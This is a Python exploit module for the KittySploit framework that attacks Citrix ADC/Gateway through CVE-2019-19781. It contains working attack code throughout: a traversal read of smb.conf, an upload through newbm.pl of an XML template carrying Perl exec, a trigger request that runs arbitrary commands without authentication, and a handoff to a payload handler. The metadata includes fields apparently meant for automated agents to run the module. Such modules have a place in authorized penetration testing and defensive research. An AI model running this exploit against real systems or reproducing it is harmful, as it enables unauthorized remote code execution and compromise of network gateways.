Citrix ADC/Gateway Template Injection RCE (CVE-2019-19781)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Citrix ADC/Gateway directory traversal template RCE (CVE-2019-19781)."""

import re
import secrets
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Citrix ADC/Gateway Template Injection RCE (CVE-2019-19781)',
        'description': (
            'Exploits CVE-2019-19781 on Citrix ADC/Gateway: directory traversal writes a '
            'Perl-eval XML template under /netscaler/portal/templates/ then triggers it via '
            'newbm.pl for unauthenticated command execution.'
        ),
        'author': ['KittySploit Team', 'TrustedSec', 'Horizon3'],
        'cve': ['CVE-2019-19781'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2019-19781',
            'https://support.citrix.com/article/CTX267027',
        ],
        'tags': ['citrix', 'adc', 'gateway', 'traversal', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2019_19781_detect'],
            },
        },
    }

    def _template_xml(self, cmd: str) -> str:
        safe = str(cmd).replace('`', '').replace('"', '\\"')
        return (
            '<?xml version="1.0" encoding="UTF-8"?>'
            '<appfwscript><a>%!( `/usr/bin/perl -e \'exec '
            f'"{safe}"\'` );</a></appfwscript>'
        )

    def _traversal_read(self) -> bool:
        r = self.http_request(method='GET', path='/vpn/../vpns/cfg/smb.conf', allow_redirects=False)
        return bool(r and r.status_code == 200 and '[global]' in (r.text or ''))

    def execute(self, cmd: str) -> str:
        name = secrets.token_hex(4)
        xml = self._template_xml(cmd)
        upload_path = (
            f'/vpn/../vpns/portal/scripts/newbm.pl/url/127.0.0.1/'
            f'../../../../netscaler/portal/templates/{name}/{name}.xml'
        )
        self.http_request(
            method='GET',
            path=upload_path,
            allow_redirects=False,
            headers={'Content-Type': 'application/xml'},
            data=xml,
        )
        trigger = (
            f'/vpn/../vpns/portal/{name}.xml'
            f'?cmd=echo&title={urllib.parse.quote(name)}&desc=test'
        )
        r = self.http_request(method='GET', path=trigger, allow_redirects=False)
        if r and r.text:
            return r.text
        r2 = self.http_request(
            method='POST',
            path='/vpn/../vpns/portal/scripts/newbm.pl',
            data={
                'NSC_USER': f'../../../netscaler/portal/templates/{name}',
                'NSC_VER': '1.0',
                'url': 'http://127.0.0.1/',
                'title': name,
                'desc': 'x',
                'UIc': '1',
            },
            allow_redirects=False,
        )
        return (r2.text or '') if r2 else ''

    def check(self):
        if not self._traversal_read():
            return {
                'vulnerable': False,
                'reason': 'Directory traversal to smb.conf not confirmed',
                'confidence': 'medium',
            }
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2019-19781 template injection confirmed',
                'confidence': 'high',
            }
        return {
            'vulnerable': True,
            'reason': 'Traversal confirmed; template execution not verified',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self._traversal_read():
            self.not_vulnerable('Citrix ADC traversal not reachable')
            return False
        if self.check_execute():
            print_success('Command execution confirmed')
            return self.handler_execute()
        print_warning('Traversal OK but command output not confirmed — trying handler anyway')
        return self.handler_execute()